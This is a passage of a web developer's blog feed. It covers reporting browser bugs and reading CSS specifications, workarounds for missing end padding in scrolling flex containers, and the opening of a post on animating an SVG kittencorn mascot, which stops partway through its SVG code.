&lt;p&gt;Full details about that whole exercise in &lt;a href=&quot;/blog/vertical-typesetting-revisited&quot;&gt;this blog post&lt;/a&gt;. I raised the bug on Firefox&apos;s issue log and by the next release, the bug had been resolved. THAT BLEW MY MIND. Though I&apos;ve also had multiple friends mention to me that when they encounter odd behaviour, it doesn&apos;t occur to them that it might be a browser bug.&lt;/p&gt;
&lt;p&gt;So the point I want to make here is that, sometimes, when your CSS seems to be doing weird things, be open to the possibility that it might be a browser bug. Help out the browser vendors by checking if its an existing issue, and if not, raise one.&lt;/p&gt;
&lt;p&gt;Here&apos;s a list of all the issue logs for the major browsers:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/index.cgi&quot;&gt;Firefox bug tracker&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/list&quot;&gt;Chromium bug tracker&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugs.webkit.org/query.cgi?format=specific&amp;amp;product=WebKit&quot;&gt;Webkit bug tracker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/&quot;&gt;EdgeHTML issue tracker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is also a volunteer-led initiative called the &lt;a href=&quot;https://webcompat.com/&quot;&gt;Web Compat&lt;/a&gt; which helps facilitate the process of raising browser compatibility bugs.&lt;/p&gt;
&lt;h3&gt;The Web Platform Tests project&lt;/h3&gt;
&lt;p&gt;I learned about the &lt;a href=&quot;https://web-platform-tests.org/&quot;&gt;Web Platform Tests&lt;/a&gt; project when I was the Mozilla All-Hands in Austin back in 2017 when I heard some people talk about it. Then, Rachel Andrew &lt;a href=&quot;https://24ways.org/2017/testing-the-web-platform/&quot;&gt;wrote this article on 24ways&lt;/a&gt; that provided a step-by-step guide to getting involved with the project by writing tests.&lt;/p&gt;
&lt;p&gt;To quote her from the article:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You need to really understand a feature to accurately come up with a method of testing if it works or not in the different engines. This is not glamorous work, it is however a very useful thing to be involved with. In addition to helping yourself, and developing the sort of deep knowledge of the platform that enables contribution, you will really help the progress of specifications.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is something I have yet to start exploring, but it is definitely on my bucket list and hopefully I can start contributing in the future.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This went on for really long, but I hope it sheds some light onto why reading CSS specifications is immensely helpful to build a strong understanding of CSS, while also highlighting how developers who work on the web can contribute to shaping the web platform.&lt;/p&gt;
&lt;h2&gt;Related reading and links&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/Style/CSS/&quot;&gt;W3C: Cascading Stylesheets&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://alistapart.com/article/readspec/&quot;&gt;How to Read W3C Specs&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/Style/CSS/read&quot;&gt;Understanding the CSS Specifications&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/Style/2011/CSS-process&quot;&gt;CSS: Levels, snapshots, modules…&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://github.com/w3c/csswg-drafts&quot;&gt;CSS Working Group Editor Drafts&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web-platform-tests.org/&quot;&gt;web-platform-tests documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://wpt.fyi/results/?label=master&amp;amp;label=experimental&quot;&gt;web-platform-tests dashboard&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://github.com/web-platform-tests/wpt&quot;&gt;Test suites for Web platform specs&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://24ways.org/2017/testing-the-web-platform/&quot;&gt;Christmas Gifts for Your Future Self: Testing the Web Platform&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://noti.st/rachelandrew/ClxWtN/making-things-better-redefining-the-technical-possibilities-of-css&quot;&gt;Making Things Better: Redefining the Technical Possibilities of CSS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Flexbox and padding</title><link>https://chenhuijing.com/blog/flexbox-and-padding/</link><guid isPermaLink="true">https://chenhuijing.com/blog/flexbox-and-padding/</guid><description>I just saw that my previous article on magical kittencorns and CSS animations worked out to an 18 minute read. Which is apparently terrible for getting people…</description><pubDate>Sun, 28 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I just saw that my previous article on magical kittencorns and CSS animations worked out to an 18 minute read. Which is apparently terrible for getting people to read the whole thing. Good thing I&apos;m the one reading my own articles, huh?&lt;/p&gt;
&lt;p&gt;Anyway, this is a really short one, which was borne out of a discussion with my mate, &lt;a href=&quot;https://twitter.com/wgao19&quot;&gt;Wei&lt;/a&gt;, about use of padding in a flex formatting context. Because that&apos;s what friends talk about in casual conversation.&lt;/p&gt;
&lt;p&gt;But I think it is a fairly common problem which people may run into so here&apos;s a write-up.&lt;/p&gt;
&lt;h2&gt;Scenario&lt;/h2&gt;
&lt;p&gt;If you have tried to apply padding to a flex container with an horizontal overflow behaviour of scroll, you might notice that the padding is not applied to the flex end side of your container.&lt;/p&gt;
&lt;div class=&quot;p159 problem&quot;&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strike&gt;This is because the available space allocated to flex items by the browser under such circumstances is: the width of flex container&apos;s containing block minus its margin, border and padding in the horizontal direction.&lt;/strike&gt;&lt;/p&gt;
&lt;p&gt;&lt;strike&gt;The relevant section of the specification is [CSS Flexible Box Layout Module Level 1: 9.2 Line Sizing](https://www.w3.org/TR/css-flexbox-1/#line-sizing)&lt;/strike&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;br&gt;
&lt;em&gt;&lt;a href=&quot;https://twitter.com/KonstantinRouda&quot;&gt;Konstantin Rouda&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/simevidas&quot;&gt;Šime Vidas&lt;/a&gt; raised the point that my original explanation didn&apos;t really explain why there is start padding but no end padding. And upon further digging, I found a long standing dispute about how overflow content should be handled while considering the constraints of Web-compat.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This is not an issue that only affects Flexbox layouts, it affects scroll containers with block and inline children differently as well. CSS2.1 was not clear about overflow, and that probably resulted in different browser vendors implementing different behaviour. For example, Webkit had (has?) different policies for block children and inline children.&lt;/p&gt;
&lt;p&gt;From the GitHub issue &lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/129&quot;&gt;[css-overflow-3] Clarify padding-bottom in overflow content&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/fantasai&quot;&gt;fantasai&lt;/a&gt; commented that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I think historically the issue is that browsers didn&apos;t want to trigger scrollbars for overflow: auto unless visible content was overflowing the inner border edge, so they didn&apos;t count padding.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Things have not been resolved yet, and anyone who is interested can read through the following relevant links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=748518&quot;&gt;Bug 748518 padding-bottom/right(block-end/inline-end) is ignored with overflow:auto/scroll because it extends in from the border-box rather than out from the scrollable area&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/3665&quot;&gt;[css-grid-1] Include padding in scrollable overflow area&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/129&quot;&gt;[css-overflow-3] Clarify padding-bottom in overflow content&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/css-overflow-3/&quot;&gt;CSS Overflow Module Level 3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1527949&quot;&gt;Bug 1527949 Implement whatever more-interoperable behavior the CSSWG comes up with, for making &amp;quot;end&amp;quot; padding scrollable on scrollable elements&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However, having items in a scrolling container with padding is a relatively common situation and there are a couple of workarounds to achieve the desired effect. Both workarounds are sort of hacks though. Here&apos;s the markup for a basic flex container with some items in it.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;flex&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;flex__item card&amp;quot;&amp;gt;
    &amp;lt;img src=&amp;quot;http://placekitten.com/150/150&amp;quot; /&amp;gt;
    &amp;lt;div class=&amp;quot;card__txt&amp;quot;&amp;gt;
      &amp;lt;h3&amp;gt;Sleep more&amp;lt;/h3&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;flex__item card&amp;quot;&amp;gt;
    &amp;lt;img src=&amp;quot;http://placekitten.com/150/150&amp;quot; /&amp;gt;
    &amp;lt;div class=&amp;quot;card__txt&amp;quot;&amp;gt;
      &amp;lt;h3&amp;gt;Sleep more&amp;lt;/h3&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;!–– repeat for like 10 more cards ––&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Using border&lt;/h3&gt;
&lt;p&gt;One option is to style up the border so it looks like padding around the items in the container.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.border {
  border: 1em #4abc41 solid;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A potential downside to this solution is the position of the scrollbar. Depending on the operating system, this may or may not be an issue. For example, on Windows (screenshot shown below), it is fairly obvious. On Android, the scrollbar is barely noticeable.&lt;/p&gt;
&lt;img src=&quot;/images/posts/flex-padding/border.png&quot; alt=&quot;Border solution rendered on Windows machine&quot;&gt;
&lt;p&gt;I&apos;d like to take this opportunity to talk about the &lt;a href=&quot;https://drafts.csswg.org/css-scrollbars-1/&quot;&gt;CSS Scrollbars Module Level 1&lt;/a&gt; specification which is currently an Editor&apos;s Draft. It introduces 2 new CSS properties for scrollbar styling, &lt;code&gt;scrollbar-color&lt;/code&gt; and &lt;code&gt;scrollbar-width&lt;/code&gt;. Firefox has supported them since version 64.&lt;/p&gt;
&lt;p&gt;More information written up in &lt;a href=&quot;https://webplatform.news/issues/2019-07-25&quot;&gt;Issue № 1022 of Web Platform News&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&quot;p159 border&quot;&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Using the &lt;code&gt;::after&lt;/code&gt; pseudo-element&lt;/h3&gt;
&lt;p&gt;Another option is to utilise the &lt;code&gt;::after&lt;/code&gt; pseudo-element on the flex container. &lt;code&gt;::before&lt;/code&gt; and &lt;code&gt;::after&lt;/code&gt; are generated content, and are inserted just inside their associated element. In other words, it will be rendered as a child element inside the flex container.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.pseudo-elem {
  padding: 1em;

  &amp;amp;::after {
    content: &amp;quot;&amp;quot;;
    padding: 0.5em;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You do have to make sure that the padding on the &lt;code&gt;::after&lt;/code&gt; pseudo-element is half that of the padding used on the flex container, because padding is applied all around the pseudo-element. But if you go with &lt;code&gt;padding-left&lt;/code&gt; or &lt;code&gt;padding-right&lt;/code&gt;, then you can use the same value as the padding on the flex container.&lt;/p&gt;
&lt;div class=&quot;p159 pseudo-elem&quot;&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;p159__item card&quot;&gt;
    &lt;img src=&quot;/images/posts/flex-padding/rabbits.jpg&quot; srcset=&quot;/images/posts/flex-padding/rabbits@2x.jpg 2x&quot; alt=&quot;2 rabbits taking a nap&quot;&gt;
    &lt;div class=&quot;card__txt&quot;&gt;
      &lt;p&gt;Sleep more&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I promised this would be short. Anyway, if you want to take a look at the code and mess around with it. Or even better, add to the list of workarounds, please feel free to do so. And ping me with your solution!&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;500&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-slug-hash=&quot;MMPPeL&quot; style=&quot;height: 463px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;Flex container padding hack&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/MMPPeL/&quot;&gt;
  Flex container padding hack&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;</content:encoded></item><item><title>Figuring out CSS animation properties with a magic kittencorn</title><link>https://chenhuijing.com/blog/figuring-out-css-animation-with-magic-kittencorn/</link><guid isPermaLink="true">https://chenhuijing.com/blog/figuring-out-css-animation-with-magic-kittencorn/</guid><description>A little known fact about SingaporeCSS is that we actually have an unofficial mascot. I haven&apos;t named it yet, because naming stuff is the hardest problem in…</description><pubDate>Sat, 27 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A little known fact about &lt;a href=&quot;https://singaporecss.github.io&quot;&gt;SingaporeCSS&lt;/a&gt; is that we actually have an unofficial mascot. I haven&apos;t named it yet, because naming stuff is the hardest problem in the world. But its birthday is 8 June, 2017 (so just a little over 2 years old now) and it first showed up at Talk.CSS during our &lt;a href=&quot;https://singaporecss.github.io/19&quot;&gt;very first ever Codepen edition&lt;/a&gt; on 26 July, 2017.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;at least some of u have seen my unofficial mascot before hor....just that nobody rmb nia...their birthday is 8 June 2017...and became unofficial mascot at Talk.CSS #19&lt;br&gt;anyway, it&amp;#39;s a sibling pair now, you&amp;#39;ll see...&lt;br&gt;¯\_(ツ)_/¯ &lt;a href=&quot;https://t.co/HewcY540jq&quot;&gt;pic.twitter.com/HewcY540jq&lt;/a&gt;&lt;/p&gt;&amp;mdash; HJ Chen (@hj_chen) &lt;a href=&quot;https://twitter.com/hj_chen/status/1154659935810199552?ref_src=twsrc%5Etfw&quot;&gt;July 26, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;Soon after that meetup, I thought it&apos;d be nice to add our unofficial mascot to the SingaporeCSS website, so I drew a portrait of it in Sketch. And that&apos;s it. I stopped there. Never did anything with the illustration. I also kept forgetting to bring it along for meetups so I think it showed up like 3 more times after over the next 2 years.&lt;/p&gt;
&lt;img src=&quot;/images/posts/magical-kittencorn/css-kittencorn.svg&quot; style=&quot;max-height:15em&quot; alt=&quot;CSS Kittencorn&quot;&gt;
&lt;p&gt;But times have changed. CSS kittencorn (until somebody thinks of a better name) is now standing guard over &lt;a href=&quot;https://wgea.io/&quot;&gt;Wei&apos;s&lt;/a&gt; desk at work, and has showed up for multiple meetups since the 2 of them got acquainted this year. And, it&apos;s now got a younger sibling. More on that in future.&lt;/p&gt;
&lt;p&gt;Long story short, CSS kittencorn will probably no longer be the kind-of-secret mascot that it was for 2 years, and should feature prominently in all future Talk.CSSes moving forward. I hope.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/magical-kittencorn/talkcss-480.jpg 480w, /images/posts/magical-kittencorn/talkcss-640.jpg 640w, /images/posts/magical-kittencorn/talkcss-960.jpg 960w, /images/posts/magical-kittencorn/talkcss-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/magical-kittencorn/talkcss-640.jpg&quot; alt=&quot;Talk.CSS #41 at Viki office&quot;&gt;
&lt;p&gt;To commemorate this momentous occasion, and also, entertain myself on yet another long-haul plane ride, I had another one of my hare-brained ideas. If you&apos;ve followed my writing for a while, you&apos;ll realise I have many of those. Also, thanks? I appreciate the 3 of you who read my nonsense. Truly.&lt;/p&gt;
&lt;h2&gt;Can I has a GIF?&lt;/h2&gt;
&lt;p&gt;I had originally wanted to make an animated GIF to send to Wei, just because. I had created animated GIFs in Photoshop before (just trigger my 404 page, go on, I&apos;ll wait), but that was quite a bit of effort I wasn&apos;t prepared to commit to.&lt;/p&gt;
&lt;p&gt;So my next best option was create an animation that would run in the browser then make a screencast of it and save it as a GIF. The GIF production was ultimately a failure because it didn&apos;t animate as planned, but WhatsApp supports video so that&apos;s what ended up getting sent. Best laid plans and all.&lt;/p&gt;
&lt;p&gt;First things first, is getting the kittencorn illustration into the browser. Was it possible to create kittencorn entirely out of HTML elements and CSS alone? Of course you could. But I&apos;m LAZY. (&lt;em&gt;*insert soon-to-be-supported Sloth emoji here&lt;/em&gt;*)&lt;/p&gt;
&lt;p&gt;So SVG it is.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;lt;svg class=&amp;quot;kittencorn&amp;quot; xmlns=&amp;quot;http://www.w3.org/2000/svg&amp;quot; viewBox=&amp;quot;0 0 415 352&amp;quot; fill=&amp;quot;none&amp;quot;&amp;gt;
  &amp;lt;path class=&amp;quot;rainbow&amp;quot; stroke=&amp;quot;#000&amp;quot; stroke-width=&amp;quot;5&amp;quot; d=&amp;quot;M123.877 230.922c3.406 2.175 6.516 6.728 8.244 12.418 1.715 5.643 1.948 12.021.031 17.572-1.888 5.468-5.891 10.25-12.963 12.885-7.165 2.669-17.684 3.205-32.61-.401-29.756-7.188-54.915-26.626-69.709-46.127-7.404-9.76-12.078-19.362-13.534-27.273-1.455-7.906.345-13.544 5.04-16.585 2.651-1.719 4.958-2.45 7.019-2.553 2.056-.102 4.063.411 6.135 1.492 4.28 2.234 8.493 6.679 13.401 12.284.685.781 1.38 1.583 2.088 2.399 9.146 10.54 20.398 23.508 37.356 27.282 17.484 3.891 28.625 4.625 36.201 4.894 1.074.038 2.056.066 2.962.093 2.338.068 4.167.121 5.751.285 2.118.219 3.459.614 4.588 1.335z&amp;quot;/&amp;gt;
  &amp;lt;path class=&amp;quot;rainbow&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; stroke=&amp;quot;#000&amp;quot; stroke-linecap=&amp;quot;square&amp;quot; stroke-width=&amp;quot;5&amp;quot; d=&amp;quot;M151.901 58.517S86.599 28.76 71.819 42.603c-14.78 13.845 9.153 90.422 9.153 90.422s11.039-23.8 29.824-42.843c18.785-19.043 41.105-31.665 41.105-31.665z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path fill=&amp;quot;#000&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; d=&amp;quot;M138 67.311S93.39 46.981 83.292 56.44c-10.097 9.458 6.253 61.771 6.253 61.771s7.54-16.259 20.374-29.268C122.752 75.933 138 67.31 138 67.31z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path class=&amp;quot;rainbow&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; stroke=&amp;quot;#000&amp;quot; stroke-linecap=&amp;quot;square&amp;quot; stroke-width=&amp;quot;5&amp;quot; d=&amp;quot;M327 58.517s65.302-29.758 80.082-15.914c14.78 13.845-9.152 90.422-9.152 90.422s-11.039-23.8-29.824-42.843C349.32 71.139 327 58.517 327 58.517z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path fill=&amp;quot;#000&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; d=&amp;quot;M340.451 67.311s44.611-20.33 54.707-10.871c10.097 9.458-6.252 61.771-6.252 61.771s-7.541-16.259-20.374-29.268c-12.833-13.01-28.081-21.632-28.081-21.632z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path class=&amp;quot;rainbow&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; stroke=&amp;quot;#000&amp;quot; stroke-width=&amp;quot;5&amp;quot; d=&amp;quot;M239.5 319c95.269 0 172.5-30.225 172.5-112.067C412 125.091 364.154 43 239.5 43S67 125.091 67 206.933 144.231 319 239.5 319z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path fill=&amp;quot;#fff&amp;quot; fill-rule=&amp;quot;evenodd&amp;quot; d=&amp;quot;M269.421 85.475s-17.077-79.652-29.71-79.652C227.077 5.823 210 85.474 210 85.474s13.603 10.033 29.711 10.033c16.107 0 29.71-10.032 29.71-10.032z&amp;quot; clip-rule=&amp;quot;evenodd&amp;quot;/&amp;gt;
  &amp;lt;path stroke=&amp;quot;#1CAFEF&amp;quot; stroke-linecap=&amp;quot;round&amp;quot; stroke-width=&amp;quot;5&amp;quot; d=&amp;quot;M220.57 43.788s10.301 9.215 18.976 12.264c8.675 3.05 23.971 4.846 23.971 4.846M227.126 24.256s7.002 7.088 13.172 9.746c6.17 2.658 16.23 2.453 16.23 2.453&amp;quot;/&amp;gt;
  &amp;lt;path stroke=&amp;quot;#000&amp;quot; stroke-linecap=&amp;quot;square&amp;quot; stroke-width=&amp;quot;5&amp;quot; d=&amp;quot;M269.421 85.475l1.484 2.012 1.299-.959-.338-1.578-2.445.525zm0 0l1.483 2.012-.002.002-.004.003-.012.008-.039.029-.136.097c-.116.083-.284.2-.5.347a49.67 49.67 0 0 1-1.856 1.198 64.981 64.981 0 0 1-6.698 3.588c-5.598 2.593-13.398 5.248-21.946 5.248-8.549 0-16.349-2.655-21.947-5.248a64.981 64.981 0 0 1-6.698-3.588 49.67 49.67 0 0 1-1.856-1.198 32.2 32.2 0 0 1-.5-.347l-.136-.097-.039-.029-.012-.008-.004-.003-.002-.002L210 85.475m59.421 0c2.445-.525 2.445-.525 2.444-.526v-.003l-.003-.011-.009-.045-.038-.174-.147-.672a648.068 648.068 0 0 0-2.682-11.6c-1.804-7.49-4.344-17.49-7.284-27.5-2.933-9.987-6.291-20.077-9.742-27.706-1.719-3.8-3.515-7.114-5.364-9.517-1.725-2.242-4.031-4.398-6.885-4.398-2.855 0-5.16 2.156-6.886 4.398-1.849 2.403-3.645 5.717-5.364 9.517-3.451 7.629-6.809 17.719-9.742 27.706-2.94 10.01-5.48 20.01-7.284 27.5a662.824 662.824 0 0 0-2.682 11.6l-.147.672-.037.174-.01.044-.003.012v.003l2.444.526m0 0l-2.444-.525-.339 1.578 1.299.959L210 85.475z&amp;quot;/&amp;gt;
